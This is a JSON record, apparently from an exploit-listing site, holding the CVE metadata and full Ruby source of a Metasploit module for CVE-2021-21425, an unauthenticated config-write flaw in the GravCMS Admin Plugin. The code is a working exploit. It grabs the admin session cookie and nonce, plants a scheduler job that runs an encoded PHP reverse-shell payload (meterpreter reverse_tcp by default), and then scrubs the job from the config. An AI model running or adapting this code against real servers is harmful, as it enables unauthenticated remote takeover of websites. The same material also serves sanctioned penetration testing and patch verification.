{"exploit":{"id":"MSF-linux--http--gravcms_exec","name":"GravCMS Remote Command Execution","description":"This module exploits arbitrary config write/update vulnerability to achieve remote code execution. Unauthenticated users can execute a terminal command under the context of the web server user. Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages. In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes, such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability, an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system command under the context of the web-server user.","cves":["CVE-2021-21425"],"author":"Mehmet Ince","published":"2021-03-29","platform":"PHP","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/gravcms_exec.rb","path":"modules/exploits/linux/http/gravcms_exec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"gravcms_exec.rb","vulnerabilities":[{"id":"CVE-2021-21425","state":"PUBLISHED","title":"Unauthenticated Arbitrary YAML Write/Update leads to Code Execution","titleSource":"CVE Program","description":"Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages. In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes, such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability, an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system command under the context of the web-server user. This vulnerability is fixed in version 1.10.8. Blocking access to the `/admin` path from untrusted sources can be applied as a workaround.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-21425","cvss":{"version":"3.1","baseScore":9.3,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2021-21425"},"updatedAt":"2024-08-03T18:09:16.154Z","retrievedAt":"2026-11-26T01:25:58.284Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--gravcms_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--gravcms_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--gravcms_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--gravcms_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = NormalRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'GravCMS Remote Command Execution',\n        'Description' => %q{\n          This module exploits arbitrary config write/update vulnerability to achieve remote code execution.\n          Unauthenticated users can execute a terminal command under the context of the web server user.\n\n          Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages.\n          In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without\n          needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of\n          existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes,\n          such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability,\n          an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system command\n          under the context of the web-server user.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module\n        ],\n        'References' => [\n          ['CVE', '2021-21425'],\n          ['URL', 'https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/']\n        ],\n        'Privileged' => true,\n        'Platform' => ['php'],\n        'Arch' => ARCH_PHP,\n        'DefaultOptions' => {\n          'payload' => 'php/meterpreter/reverse_tcp',\n          'Encoder' => 'php/base64',\n          'WfsDelay' => 90\n        },\n        'Targets' => [ ['Automatic', {}] ],\n        'DisclosureDate' => '2021-03-29',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [\n            CONFIG_CHANGES # user/config/scheduler.yaml\n          ]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'The base path', '/'])\n    ])\n  end\n\n  def check\n    # During the fix, developers changed admin-nonce to login-nonce.\n\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'admin')\n    )\n\n    if res && res.get_hidden_inputs.first&.fetch('admin-nonce')\n      CheckCode::Appears('The target appears to be vulnerable')\n    else\n      CheckCode::Safe('The target is not vulnerable')\n    end\n  end\n\n  def capture_cookie_token\n    print_status 'Sending request to the admin path to generate cookie and token'\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'admin')\n    )\n\n    # Cookie must contain grav-site-az09-admin and admin-nonce form field must contain value\n    if res && res.get_cookies =~ /grav-site-[a-z0-9]+-admin=(\\S*);/ && res.get_hidden_inputs.first&.fetch('admin-nonce')\n      print_good 'Cookie and CSRF token successfully extracted !'\n    else\n      fail_with Failure::UnexpectedReply, 'The server sent a response, but cookie and token was not found.'\n    end\n\n    @cookie = res.get_cookies\n    @admin_nonce = res.get_hidden_inputs.first['admin-nonce']\n  end\n\n  def exploit\n    capture_cookie_token\n\n    @task_name = Rex::Text.rand_text_alpha_lower(5)\n\n    # Msf PHP payload does not contain quotes for many good reasons. But a single quote will surround PHP binary's\n    # parameter due to the command execution library of the GravCMS. For that reason, surrounding base64 part of the\n    # payload with a double quote is necessary to command executed successfully.\n\n    payload.encoded.sub! 'base64_decode(', 'base64_decode(\"'\n    payload.encoded.sub! '));', '\"));'\n\n    print_status 'Implanting payload via scheduler feature'\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),\n      'cookie' => @cookie,\n      'vars_post' => {\n        'admin-nonce' => @admin_nonce,\n        'task' => 'SaveDefault',\n        \"data[custom_jobs][#{@task_name}][command]\" => '/usr/bin/php',\n        \"data[custom_jobs][#{@task_name}][args]\" => \"-r #{payload.encoded}\",\n        \"data[custom_jobs][#{@task_name}][at]\" => '* * * * *',\n        \"data[custom_jobs][#{@task_name}][output]\" => '',\n        \"data[status][#{@task_name}]\" => 'enabled',\n        \"data[custom_jobs][#{@task_name}][output_mode]\" => 'append'\n      }\n    )\n\n    if res && res.code == 200 && res.body.include?('Successfully saved')\n      print_good \"Scheduler successfully created ! Wait up to #{wfs_delay} seconds\"\n    end\n  end\n\n  def on_new_session(_session)\n    print_status 'Cleaning up the scheduler...'\n\n    # Thanks to the YAML update method, we can remove the command details from the config file just by re-enabling\n    # the scheduler without any parameter:) It will leave the only command name in the config file.\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),\n      'cookie' => @cookie,\n      'vars_post' => {\n        'admin-nonce' => @admin_nonce,\n        'task' => 'SaveDefault',\n        \"data[status][#{@task_name}]\" => 'enabled'\n      }\n    )\n\n    if res && res.code == 200 && res.body.include?('Successfully saved')\n      print_good 'The scheduler config successfully cleaned up!'\n    end\n  end\n\nend\n","sha256":"a7e0f1fc59adde2d46f503d6ac7bd06b3601260971b15f4f0b494f9b6f469c4b","bytes":5840,"fetchedAt":"2026-11-26T13:13:32.562Z","encoding":"utf-8 (display only; download retains original bytes)"}